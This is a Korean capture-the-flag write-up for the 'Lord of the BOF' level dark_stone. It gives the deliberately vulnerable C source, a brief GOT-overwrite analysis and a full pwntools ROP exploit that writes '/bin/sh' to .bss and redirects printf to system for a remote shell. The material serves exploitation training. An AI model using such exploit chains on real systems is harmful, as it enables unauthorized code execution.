Fedora Core 3 - Challenge [evil_wizard -> dark_stone


[Summary]

1. printf의 GOT를 system 함수 주소로 변조한 후, printf에 "/bin/sh"를 인자로 주고 실행하여 쉘을 획득할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- dark_stone
	- Remote BOF on Fedora Core 3 
	- hint : GOT overwriting again
	- port : TCP 8888
*/

#include <stdio.h>

// magic potion for you
void pop_pop_ret(void)
{
	asm("pop %eax");
	asm("pop %eax");
	asm("ret");
}
 
int main()
{
	char buffer[256];
	char saved_sfp[4];
	int length; 
	char temp[1024];

	printf("dark_stone : how fresh meat you are!\n");
	printf("you : ");
	fflush(stdout);

	// give me a food
	fgets(temp, 1024, stdin);

	// for disturbance RET sleding
	length = strlen(temp);
   
	// save sfp 
	memcpy(saved_sfp, buffer+264, 4);
 
	// overflow!!
	strcpy(buffer, temp);

	// restore sfp 
	memcpy(buffer+264, saved_sfp, 4);

	// disturbance RET sleding
	memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

	// buffer cleaning 
	memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);

	printf("%s\n", buffer);
}


[Analysis] 

이번 문제는 49행의 memset 함수에서 stdin buffer를 0으로 초기화 하므로 Fedora Core 3 - Challenge [iron_golem -> hell_fire] 의 풀이법 처럼 stdin buffer를 이용할 수 없다. 따라서 printf의 GOT에 있는 값을 system 함수 주소로 변조하여 printf 함수를 실행하면 system 함수가 실행되도록 할 것이다.

gdb에서 info file 명령을 통해 바이너리의 PLT, GOT 영역을 확인할 수 있다. 위와 같이 PLT에는 jmp 명령을 통해 GOT를 참조하여 실제 함수로 이동하게 된다. 따라서 해당 함수에 대한 GOT를 다른 함수로 변조하게 되면 PLT를 실행하였을때, 다른 함수를 실행하게 할 수 있다. 필자는 printf의 GOT를 system으로 변조하고 printf에 /bin/sh를 인자로 주고 실행하여 쉘을 획득할 수 있었다.


[Exploit]

import time
from pwn import *
 
context(arch='i386',os='linux')
 
p = remote("192.168.0.103", 8888)
  
ppr = 0x080484f3
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
bss = 0x08049868

# 0x7507c0 <system> gadget

gadget_c0 = 0x80484d0
gadget_07 = 0x8048abc
gadget_75 = 0x8048bf8

# "/bin/sh\x00" gadget

gadget_slash = 0x8048114
gadget_b = 0x804829a
gadget_in = 0x80482ab
gadget_sh = 0x80482c8
gadget_null = 0x8048007

payload = "A" * 268				# dummy

# write "/bin/sh\x00" in bss
 
payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+1)			# bss
payload += p32(gadget_b)		# "b"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+2)			# bss
payload += p32(gadget_in)		# "in"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+4)			# bss
payload += p32(gadget_slash)	# "/"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+5)			# bss
payload += p32(gadget_sh)		# "sh"

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss+7)			# bss
payload += p32(gadget_null)		# "\x00"

# printf GOT overwriting 

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got)		# printf got
payload += p32(gadget_c0)		# \xc0

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+1)	# printf got + 1
payload += p32(gadget_07)		# \x07

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+2)	# printf got + 2
payload += p32(gadget_75)		# \x75

payload += p32(strcpy_plt)		# strcpy plt
payload += p32(ppr)				# pop_pop_ret
payload += p32(printf_got+3)	# printf got + 3
payload += p32(gadget_null)		# \x00

# exploit

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

payload += p32(printf_plt)		# system
payload += p32(ppr)				# pop_pop_ret
payload += p32(bss)				# "/bin/sh\x00"
payload += "AAAA"				# dummy

if __name__ == '__main__':
    p.recvuntil("you : ")
    p.sendline(payload)
    p.interactive()


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  


+ Recent posts